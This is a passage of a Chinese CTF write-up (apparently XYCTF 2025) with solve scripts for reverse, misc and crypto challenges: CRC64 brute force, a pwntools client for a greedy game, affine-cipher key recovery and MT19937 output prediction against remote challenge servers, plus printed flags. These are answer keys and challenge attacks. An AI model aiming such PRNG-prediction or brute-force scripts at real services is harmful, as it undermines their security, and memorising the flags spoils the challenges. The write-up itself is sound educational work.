            print(f"找到明文: {input_char[t]} 对应 enc[{t}]")
            flag[t] = tmp  
            break  

print(flag)
decoded_message = ''.join(chr(c) for c in flag)
print("解密后的明文:", decoded_message)
# flag{L3@rn1ng_1n_0ld_sch00l_@nd_g3t_j0y}

Dragon

Clang 编译 Dragon.bc 文件

clang Dragon.bc -o Dragon

分析生成的二进制文件,输入的字符串每两个字符分一组传入关键函数 sub_140001000()

是一个 CRC64

仍然是没有扩散的加密,还是可以爆破(

import struct
import itertools
import string

enc = [
    0x47,0x7B,0x9F,0x41,0x4E,0xE3,0x63,0xDC,0xC6,0xBF,0xB2,0xE7,0xD4,0xF8,0x1E,0x3,0x9E,0xD8,0x5F,0x62,0xBC,0x2F,0xD6,0x12,0xE8,0x55,0x57,0xCC,0xE1,0xB6,0xE8,0x83,0xCC,0x65,0xB6,0x2A,0xEB,0xB1,0x7B,0xFC,0x6B,0xD9,0x62,0x2A,0x1B,0xCA,0x82,0x93,0x87,0xC3,0x73,0x76,0xA0,0xF8,0xFF,0xB1,0xE1,0x5,0x8E,0x38,0x27,0x16,0xA8,0xD,0xB7,0xAA,0xD0,0xE8,0x1A,0xE6,0xF1,0x9E,0x45,0x61,0xF2,0xE7,0xD2,0x3F,0x78,0x92,0xB,0xE6,0x6F,0xF5,0xA1,0x7C,0xC9,0x63,0xAB,0x3A,0xB7,0x43,0xB0,0xA8,0xD3,0x9B
]

while len(enc) % 8 != 0:
    enc.append(0)

v7_targets = [struct.unpack("<Q", bytes(enc[i:i+8]))[0] for i in range(0, len(enc), 8)]

def crc64_ecma(data: bytes) -> int:
    poly = 0x42F0E1EBA9EA3693
    crc = 0xFFFFFFFFFFFFFFFF
    for byte in data:
        crc ^= byte << 56
        for _ in range(8):
            if (crc & 0x8000000000000000) == 0:
                crc <<= 1
            else:
                crc = (crc << 1) ^ poly
            crc &= 0xFFFFFFFFFFFFFFFF
    return ~crc & 0xFFFFFFFFFFFFFFFF

charset = ''.join([chr(i) for i in range(1, 127)])

results = []

print("[*] Start cracking...")
for idx, target in enumerate(v7_targets):
    found = False
    for a, b in itertools.product(charset, repeat=2):
        candidate = (a + b).encode()
        if crc64_ecma(candidate) == target:
            results.append(a + b)
            print(f"[+] Found block {idx}: {a+b}")
            found = True
            break
    if not found:
        results.append("??")
        print(f"[!] Block {idx} not found.")

# 输出 flag
flag = "".join(results)
print(f"\n Final result: {flag}")
# flag{LLVM_1s_Fun_Ri9h7?}

MISC

XGCTF

搜索引擎搜索关键词 LamentXU ctf 找到 LamentXU 师傅的博客 https://www.cnblogs.com/LAMENTXU

在博客里搜索关键词“西瓜”,看到出的题是 ezpollution

是一个原型链污染的题,问了队里的 web 手,想到了去年华东南的题 Polluted,搜索关键词 "dragonkeep" "Polluted",找到 dragonkeep 师傅的文章

查看源码,找到 flag

base64 解码即可

flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}

签个到吧

Brainfuck 编码,但是给出的代码中没有输出字符 .,而且每次生成完之后就清零了,需要在每次循环前加上输出就可以打印 flag,即将 <[-]> 替换为 <.[-]> 即可,最后一次循环没有 >,手动加一下点

flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

Greedymen

贪心算法

from pwn import *
import math

def get_factors(num):
    factors = {1}
    for i in range(2, int(math.sqrt(num)) + 1):
        if num % i == 0:
            factors.add(i)
            factors.add(num // i)
    return factors

def calculate_opponent_score(choice, assigned_numbers):
    factors = get_factors(choice)
    opponent_score = 0
    for factor in factors:
        if factor not in assigned_numbers and factor != choice:
            opponent_score += factor
    return opponent_score

def can_choose(num, assigned_numbers):
    factors = get_factors(num)
    for factor in factors:
        if factor not in assigned_numbers:  
            return True
    return False

def generate_priority_list(level):
    if level == 1:        
        numbers = list(range(1, 51))
    elif level == 2:
        numbers = list(range(1, 101))
    else:  
        numbers = list(range(1, 201))

    prime_numbers = [num for num in numbers if is_prime(num)]
    composite_numbers = [num for num in numbers if not is_prime(num)]

    return prime_numbers + composite_numbers

def is_prime(num):
    if num <= 1:
        return False
    for i in range(2, int(math.sqrt(num)) + 1):
        if num % i == 0:
            return False
    return True

def generate_best_choices(level):    
    priority_list = generate_priority_list(level)
    if level == 1:
        max_num = 50
        unassigned_numbers = list(range(1, 51))
    elif level == 2:
        max_num = 100
        unassigned_numbers = list(range(1, 101))
    else:  
        max_num = 200
        unassigned_numbers = list(range(1, 201))
    available_numbers = set(unassigned_numbers)
    assigned_numbers = set()
    choices = []
    counter = 19 if level == 1 else (37 if level == 2 else 76)
    while counter > 0 and available_numbers:
        best_choice = None
        max_gain = -float('inf')
        for num in priority_list:
            if num in available_numbers and can_choose(num, assigned_numbers):
                opponent_score = calculate_opponent_score(num, assigned_numbers)
                gain = num - opponent_score
                if gain > max_gain:
                    max_gain = gain
                    best_choice = num
        if best_choice is None:
            break  
        choices.append(best_choice)
        available_numbers.remove(best_choice)
        assigned_numbers.add(best_choice)
        factors = get_factors(best_choice)
        for factor in factors:
            if factor != best_choice:
                assigned_numbers.add(factor)
        counter -= 1
    return choices

def generate_all_optimal_solutions():
    optimal_solutions = []  
    for level in range(1, 4):
        best_choices = generate_best_choices(level)
        optimal_solutions.append(best_choices)  
    return optimal_solutions  

optimal_solutions = generate_all_optimal_solutions()

p = remote('47.94.204.178', 38950)

p.recvuntil(b'3.Quit\n')
p.send(b'1\n')
for i in range(3):
    for j in range(len(optimal_solutions[i])):
        p.recvuntil(b'Choose a Number:')
        p.send(str(optimal_solutions[i][j]).encode() + b'\n')
p.interactive()

flag{Greed, is......key of the life.}

会飞的雷克萨斯

flag{四川省内江市资中县水南镇春岚北路城市中心内}

直接百度地图搜小东十七,结合新闻小孩炸飞豪车

曼波曼波曼波

打开smn.txt一/9j/4逆序base64的JPG图片

foremost分离一下得到一个zip,解压后得到一个png,还有一个压缩包更具提示猜密码为XYCTF2025,解压又得到一个png,这个图很经典一眼盲水印

MADer也要当CTFer

flag{l_re@IIy_w@nn@_2_Ie@rn_AE}

打开得到一个mkv,只能放十秒钟,后面很多看不到应该是被改过了,直接提取一下字幕

提取一下字幕

直接替换掉保留后面的字幕,放到cyberchef转一下hex

Crypto

reed

PRNG 伪随机数生成生成器 + 线性同余方程组

由于 seed 种子是自己控制的,所以所有 prng 生成的随机数都是固定可预测的,但是问题在于加密轮数 r.randrange(2**16) 的大小不可预测,因为 r 是 random.Random(),由系统状态作为种子

但是注意到对加密过程中,使用的 c = a*table.index(m)+b 中存在 fixed point 不动点 (0,b),也就是说,如果 flag 中存在字符 a(索引为0),该字符对应的加密结果就是随机数 b

于是可以生成 2**16 范围内的所有随机数序列,将密文数组中的整数与随机数序列进行比对,查看是否有相等的数,若有,该数就是 b

import random
import string

table = string.ascii_letters + string.digits
r = random.Random()
rand_list = []
class PRNG:
    def __init__(self, seed):
        self.a = 1145140
        self.b = 19198100
        random.seed(seed)

    def next(self):
        x = random.randint(self.a, self.b)
        random.seed(x ** 2 + 1)
        rand_list.append(x)
        return x

    def round(self, k):
        x = None
        for _ in range(k):
            x = self.next()
        return x

def encrypt(msg, a, b):
    c = [(a * table.index(m) + b) % 19198111 for m in msg]
    return c

seed = 1
prng = PRNG(seed)
a = prng.round(r.randrange(2**16))
b = prng.round(r.randrange(2**16))

enc = [8795335, 8795335, 7727375, 972018, 8795335, 7727375, 6684584, 5616624, 276824, 13439941, 997187, 15923458, 3480704, 5616624, 10236061, 8100141, 5616624, 14855498, 14855498, 3480704, 997187, 2065147, 10236061, 19127338, 13439941, 2412744, 3480704, 1344784, 14855498, 8795335, 12346812, 8795335, 12346812, 19102169, 8795335, 15550692]

for c in enc:
    if c in rand_list:
        print(f"找到可疑 b = {c}")
        b = c 
# 找到可疑 b = 2065147

得到 b 后,枚举 index 和密文即可求得 a

candidate_a = []

for c in set(enc):
    if c == b:
        continue
    for index in range(1, len(table)):
        try:
            inv = pow(index, -1, 19198111)
            a = ((c - b) * inv) % 19198111
            candidate_a.append(a)
        except ValueError:
            continue

def is_valid_a(a, b, enc):
    for c in enc:
        try:
            idx = (c - b) * pow(a, -1, 19198111) % 19198111
            if not (0 <= idx < len(table)):
                return False
        except:
            return False
    return True

for a in candidate_a:
    if is_valid_a(a, b, enc):
        print(f"a = {a}")
        break
# a = 12442754

得到 a 和 b 之后,求解线性同余方程组即可

def decrypt(enc, a, b):
    flag = ""
    for c in enc:
        a_inv = pow(a, -1, 19198111)
        m_index = (c - b) * a_inv % 19198111
        if m_index < 0 or m_index >= len(table):
            flag += "?"
        else:
            flag += table[m_index]
    return flag

flag = decrypt(enc, a, b)
print("flag: ", flag)
# flag:  114514fixedpointissodangerous1919810

Division

Python 的 random 随机数预测,提供了两个选项,选项 1 会打印 random.getrandbits(32) 生成的随机数

于是可以选择 624 次选项 1,收集足够多的随机数,就可以预测之后所有的随机数,此时再选择 2 即可

from pwn import *
from mt19937predictor import MT19937Predictor
import re

HOST = '39.106.48.123'
PORT = 44314

predictor = MT19937Predictor()
io = remote(HOST, PORT)

def recv_until_prompt():
    io.recvuntil(b': >>> ')

def choose_menu(option):
    recv_until_prompt()
    io.sendline(str(option).encode())

def collect_random_nums():
    print('[*] 正在收集 624 个 getrandbits(32) 输出...')
    for i in range(624):
        choose_menu(1)
        io.recvuntil(b'denominator: >>>')
        io.sendline(b'1')
        line = io.recvline().decode()
        try:
            nominator = int(line.split('//')[0])
            predictor.setrandbits(nominator, 32)
            print(f'  [+] [{i+1}/624] nominator = {nominator}')
        except:
            print(f'[!] 解析失败:{line}')
            exit(1)
    print('[*] 收集完毕')

def predict_answer():
    rand1 = predictor.getrandbits(11000)
    rand2 = predictor.getrandbits(10000)
    correct = rand1 // rand2
    print(f'[+] 预测的正确答案是:{correct}')
    return correct

def submit_and_get_flag(predicted_ans):
    choose_menu(2)
    io.recvuntil(b'input the answer:')
    io.sendline(str(predicted_ans).encode())

    output = io.recvuntil(b'}', timeout=3).decode(errors='ignore')
    print('\n===== FLAG 结果如下 =====\n')
    print(output)
    print('==========================\n')

collect_random_nums()
ans = predict_answer()
submit_and_get_flag(ans)